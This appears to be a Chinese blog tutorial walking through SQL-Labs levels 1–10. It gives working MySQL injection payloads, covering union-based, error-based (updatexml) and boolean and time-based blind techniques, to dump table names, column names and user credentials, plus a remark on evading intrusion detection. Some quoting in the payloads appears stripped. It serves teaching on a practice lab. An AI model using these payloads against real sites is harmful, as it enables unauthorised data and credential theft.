网站建设排名优化,大学生文创产品设计方案,百度云搜索,做网站运营有前景么目录
一、注入方式简要概括
1.1 SQL常见注入方式
1.2 爆破函数
二、靶场实操
2.1 Less-1
2.1.1 判断类型
2.1.2 联合注入查询 2.2 Less-2
2.2.1 判断类型
2.2.2 注入攻击
2.2.3 字符型与数字型漏洞对比
2.3 Less-3
2.3.1 判断
2.3.2 注入
2.4 Less-4
2.4.1 判断…目录
一、注入方式简要概括
1.1 SQL常见注入方式
1.2 爆破函数
二、靶场实操
2.1 Less-1
2.1.1 判断类型
2.1.2 联合注入查询 2.2 Less-2
2.2.1 判断类型
2.2.2 注入攻击
2.2.3 字符型与数字型漏洞对比
2.3 Less-3
2.3.1 判断
2.3.2 注入
2.4 Less-4
2.4.1 判断
2.4.2 注入
2.5 Less-5(布尔盲注)
2.5.1 单引号闭合和不闭合测试
2.5.2 布尔盲注一般步骤
2.5.3 注入
2.6 Less-6
2.7 Less-7
2.8 Less-8
2.9 Less-9时间盲注
2.9.1 测试注入点
2.9.2 时间注入简述
2.9.3 注入 在一切开始之前我们先来了解一下sql-labs。 SQL-Labs是一个专注于SQL注入攻击的在线靶场提供了从基础到高级的多个关卡供学习者实践和挑战 一、注入方式简要概括
1.1 SQL常见注入方式
错误注入Error-based Injection攻击者利用应用程序返回的错误消息来识别漏洞。通过在SQL查询中插入恶意代码引发数据库错误根据错误消息获得关于数据库结构和内容的信息联合查询注入Union-based Injection 利用UNION操作符将多个查询结果合并成一个结果集获取数据库中其他表的数据从而泄露敏感信息时间盲注Time- based Blind Injection攻击者通过在SQL查询中插入恶意代码利用数据库的延时函数来确定查询是否成功执行通过观察应用程序在响应时间方面的差异推断数据库信息布尔盲注Boolean-based Blind Injection通过在SQL查询语句中插入恶意代码利用布尔逻辑来逐位猜测查询结果通过观察应用程序在不同条件下的行为来推断数据库信息存储过程注入Stored Procedure Injection攻击者利用应用程序调用的存储过程中存在的漏洞通过插入恶意参数执行未经授权的数据库操作盲注Blind Injection包括布尔盲注、时间盲注和基于报错的注入攻击者通过观察页面的响应来判断数据库中的信息堆叠注入在SQL语句末尾添加额外的SQL语句执行多条SQL命令二次注入攻击者通过构造数据使得在第二次请求中执行第一次请求中构造的SQL语句User-Agent注入通过修改HTTP头中的User- Agent字段进行注入Cookie注入通过在Cookie中注入恶意的SQL代码宽字节注入利用字符编码特性进行注入常见于使用GBK编码的数据库。
1.2 爆破函数
1.经度爆破mysql5.7x
and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--
2.纬度爆破mysql5.7x
and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--
3.获取数据库版本信息
)or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
select count(*), concat(version(), floor(rand(0) * 2))x from information4.获取当前数据库
)or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--
5.updatexml
updatexml(1,1,1) 一共可以接收三个参数报错位置在第二个参数
6.extractvalue
extractvalue(1,1) 一共可以接收两个参数报错位置在第二个参数 二、靶场实操
2.1 Less-1
2.1.1 判断类型
现在让我们来正式开始靶场实操。
来到第一关 对于很多SQL注入漏洞我们第一步要做的是判断“是否存在漏洞”下面的字提示我们输入数字值的id作为参数我们输入一个1来试一下
?id1 同理再将id改为2或3输入结果不同。不同的数字值返回不同的内容这说明我们输入的内容被直接代入到数据库查询语句中在数据库里面查询了。 接下来我们判断SQL语句是否拼接是字符型还是数字型 我们在id1后加了一个单引号结果数据库报错这说明数据库存在漏洞。继续使用--注释掉后续的内容又返回了正确的结果至此注入初获成功。 上面的实验验证了第一关为字符型且存在SQL注入漏洞。因为该页面存在回显所以我们可以使用联合查询来攻破。
2.1.2 联合注入查询
联合注入的第一步首先要知道表格有几列如果报错就是超过列数如果正常显示就是没有超出
?id1order by 3 -- order by 3的时候还正常输出4的时候报错这证明此数据库有三列。
第二步我们要爆出显示位也就是看表格里面哪一列会在页面显示。
?id-1union select 1,2,3 -- 可以看出表格的第23列是在页面中显示的这说明本表格大概是一个如下的结构第一列是id之类的标识字段在页面中不显示第二列是名字第三列是密码。注意我们这里只说明了有三列数据并没有证明有几行在上面博主只是做了id123的三个例子很可能不只三行 第三步我们来获取当前数据名和版本号注意我们查看的内容会在name和password后输出这是原数据库及页面设计决定的不必在意我们只需要得到我们想要的信息即可。
?id-1union select 1,database(),version() -- 第四步我们去爆表information_schema.tables表示该数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容
?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 第五步我们进行爆字段名我们通过SQL语句查询知道了当前数据库有四个表账户和密码可能存在于users表中所以我们接下来就是要去得到该表下的字段名以及内容。
?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- 通过上述操作可以得到两个敏感字段为username和password那么第六步我们就要得到该字段对应的内容。这里可以添加一下id用于分隔账户和密码
?id-1 union select 1,2,group_concat(username ,id , password) from users-- 2.2 Less-2
2.2.1 判断类型
类似于第一关我们输入单引号和双引号进行判断我们看到报错且报错信息看不到数字所以我们猜测SQL语句应为数字型注入。
SELECT * FROM users WHERE id$id LIMIT 0,1
SELECT * FROM users WHERE id1 LIMIT 0,1 2.2.2 注入攻击 整体过程与字符型漏洞的注入攻击过程一样先确定有几列然后逐步进行爆破。
?id1 order by 3
?id-1 union select 1,2,3
?id-1 union select 1,database(),version()
?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity //获取表名
?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers //获取列名
?id-1 union select 1,2,group_concat(username ,id , password) from users 2.2.3 字符型与数字型漏洞对比
数字型注入
主要用于针对SQL语句中需要数字参数的地方进行注入。攻击者尝试通过输入数字来改变SQL语句的逻辑例如通过输入一个数字来绕过某些条件限制。例如在登录验证时如果系统使用类似SELECT * FROM users WHERE id 输入的数字的查询攻击者可能会尝试输入一个数字来绕过身份验证。
字符型注入
主要用于针对SQL语句中需要字符串参数的地方进行注入。攻击者通过输入恶意的字符串来改变SQL语句的结构从而执行未授权的命令或查询。例如如果一个网站的搜索框允许用户输入搜索条件攻击者可能会输入类似 OR 11的字符串这可能会导致SQL语句变成SELECT * FROM products WHERE name OR 11从而绕过正常的搜索逻辑获取所有产品的列表。
2.3 Less-3
2.3.1 判断
和之前一样我们先输入 ?id1 来做初步判断 根据报错显示SQL语句是单引号字符型且有括号所以我们需要闭合单引号且考虑括号。
2.3.2 注入
?id1) order by 3--
?id-1) union select 1,2,3--
?id-1) union select 1,database(),version()--
?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers--
?id-1) union select 1,2,group_concat(username ,id , password) from users--2.4 Less-4
2.4.1 判断 根据回显我们可以发现是双引号字符型注入
2.4.2 注入
?id1) order by 3--
?id-1) union select 1,2,3--
?id-1) union select 1,database(),version()--
?id-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity--
?id-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers--
?id-1) union select 1,2,group_concat(username ,0x7e, password) from users-- 注最后一句中的0x7e表示为也是用于分隔没有特殊含义。 2.5 Less-5(布尔盲注)
2.5.1 单引号闭合和不闭合测试 可以看出本关为单引号闭合但我们输入的命令并没有得到回显所以这一关我们无法再使用联合注入来攻击了因为联合注入需要页面有回显。
本关我们选择使用布尔盲注Boolean Blind SQL Injection这种注入方式通常在数据库响应不直接显示错误信息或数据内容时使用但可以通过页面行为的变化来推断信息。
2.5.2 布尔盲注一般步骤
1. **识别注入点** - 首先需要找到一个可能存在SQL注入漏洞的输入点比如URL参数、表单输入等。
2. **构造注入语句** - 利用SQL注入技巧构造查询语句通常使用布尔逻辑运算符如AND, OR来构造条件。
3. **确定响应模式** - 观察应用程序对于不同输入的响应确定如何通过应用程序的行为变化来推断数据库中的信息。
4. **进行条件测试** - 通过构造条件语句逐步测试数据库中的记录是否存在。例如使用AND或OR来确定某个特定条件是否为真。
5. **构建查询逻辑** - 根据测试结果逐步构建完整的查询逻辑以获取数据库中的信息。
6. **提取数据** - 一旦确定了查询逻辑就可以逐步提取数据库中的信息如用户名、密码等。
7. **自动化过程** - 对于复杂的查询可能需要编写脚本来自动化布尔盲注的过程。
8. **避免检测** - 在进行布尔盲注时需要小心操作避免触发应用程序的安全机制或被入侵检测系统发现。
2.5.3 注入
首先我们需要获得报错回显这本关我们使用连接函数concat
?id1 and updatexml(1,concat(~,(select user()),~),1)--
XML函数updatexml(1,concat(~,(select user()),~),1) 是一个尝试利用MySQL中的updatexml()函数进行SQL注入的语句。这个函数通常用于更新XML类型的数据。构造注入concat(~,(select user()),~) 这部分代码尝试将一个特殊字符~与当前数据库用户的用户名连接起来然后再添加另一个~。这通常用于绕过某些类型的输入过滤。
这条语句可以用来获取当前数据库连接的用户名称。 在得到了用户名称后我们先要查看字段从数据库中提取所有表的名称我们使用updatexml函数来尝试绕过某些类型的输入过滤或错误处理。
?id1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schemasecurity),0x7e),1)--
updatexml()函数updatexml(1,...,1) 是MySQL中的一个函数通常用于更新XML类型的数据。在这里它被用于触发基于错误的注入。构造注入concat(0x7e,...,0x7e) 使用了十六进制值0x7e即ASCII字符~这通常用作分隔符。信息提取(select group_concat(table_name) from information_schema.tables where table_schemasecurity) 是一个子查询用于从information_schema.tables表中提取名为security的数据库的所有表名并将它们连接成一个字符串。 这样我们就得到了数据库中所有表的名称。
我们可以发现最后一层表是users那自然而然的我们就会想到接下来要从security数据库的users表中提取所有列的名称。
?id1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schemasecurity and table_nameusers),0x7e),1)--
(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)是一个子查询用于从information_schema.columns表中提取security数据库中users表的所有列名并将它们连接成一个字符串。 最后我们来爆表。
?id1 and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)-- 可以看到虽然我们得到了一些数据但并不完整这是因为updatexml最大容纳32个字节超出的部分无法显示。
针对此我们可以考虑分段截取
?id1 and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)--
concat(0x7e,...,0x7e) 使用了十六进制值0x7e即ASCII字符~这通常用作分隔符。(select concat(username,0x3a,password)from users limit 0,1) 是一个子查询用于从users表中提取第一条记录的用户名和密码并将它们用冒号:由0x3a表示连接起来。
这样我们就可以依次将每条数据分离出来要查询第二条记录时只需要改变limit 0,1的参数如limit 1,1limit 2,1可以查看第23条数据以此类推 2.6 Less-6
与上一关类似只是此关是通过双引号进行闭合的将上一关的单引号改为双引号即可。 2.7 Less-7
尝试使用单引号加双括号的形式发现页面显示正常依照前面的方式使用布尔盲注即可 2.8 Less-8
与前面类似ID参数为一个单引号字符串。 2.9 Less-9时间盲注
2.9.1 测试注入点
在第九关我们发现无论输入什么内容页面显示都是一样的这时我们就无法再使用布尔盲注了。
对于页面没有变化的时候我们可以考虑使用时间注入Time-based Blind SQL Injection 2.9.2 时间注入简述
时间盲注是一种SQL注入攻击技术它通过使SQL查询的执行时间依赖于数据库中的数据来提取信息。这种技术通常用于当无法直接从错误消息或页面内容变化中获取数据时。
1. **识别注入点** - 首先需要找到一个可能存在SQL注入漏洞的输入点例如查询参数、表单输入等。
2. **构造注入语句** - 利用SQL注入技巧构造查询语句通常使用BENCHMARK()函数或SLEEP()函数来使查询的执行时间依赖于数据库中的数据。
3. **确定响应模式** - 观察应用程序对于不同输入的响应时间确定如何通过应用程序的响应时间变化来推断数据库中的信息。
4. **进行条件测试** - 通过构造条件语句逐步测试数据库中的记录是否存在。例如使用IF()函数或布尔逻辑来确定某个特定条件是否为真。
5. **构建查询逻辑** - 根据测试结果逐步构建完整的查询逻辑以获取数据库中的信息。
6. **提取数据** - 一旦确定了查询逻辑就可以逐步提取数据库中的信息如用户名、密码等。这通常通过构造一个循环逐位提取数据。
7. **自动化过程** - 对于复杂的查询可能需要编写脚本来自动化时间盲注的过程因为手动执行可能非常耗时。
2.9.3 注入
时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep函数。基本原理为if(a,sleep(10),1) 如果a的结果为真那么执行sleep函数页面休眠10秒如果a的结果为假页面则不延迟。
?id1 and if(11,sleep(5),1)--
//判断参数构造 在执行后我们可以看到页面处于加载状态五秒后才正常当然是因为11为真所以页面休眠了五秒。
根据这个思路我们继续进行判断先来判断数据库名长度。
?id1and if(length((select database()))9,sleep(5),1)--
这样逐步减少猜测的长度猜到7时页面休眠说明我们猜对了根据答案写过程前面几关我们已知数据库名为security确实长度为7 知道了长度后我们就可以开始逐一判断数据库字符。
?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- substr((select database()),1,1) 是一个子查询用于提取当前数据库名的第一个字符。ASCII值比较ascii(字符) 函数用于获取字符的ASCII值。在这里它与数字115字符s的ASCII值进行比较。 就像这样逐步逐词进行爆破可以编写一个脚本来辅助这里不做演示。
之后也是类似的原理依次对表、字段内容进行判断。
?id1and if(length((select group_concat(table_name) from information_schema.tables where table_schemadatabase()))13,sleep(5),1)--
//判断所有表名长度
?id1and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schemadatabase()),1,1))99,sleep(5),1)--
//逐一判断表名
?id1and if(length((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers))20,sleep(5),1)--
//判断所有字段名的长度
?id1and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schemadatabase() and table_nameusers),1,1))99,sleep(5),1)--
//逐一判断字段名
?id1 and if(length((select group_concat(username,password) from users))109,sleep(5),1)--
//判断字段内容长度
?id1 and if(ascii(substr((select group_concat(username,password) from users),1,1))50,sleep(5),1)--
//逐一检测内容
2.10 Less-10
第十关与第九关基本相同单引号换成了双引号而已。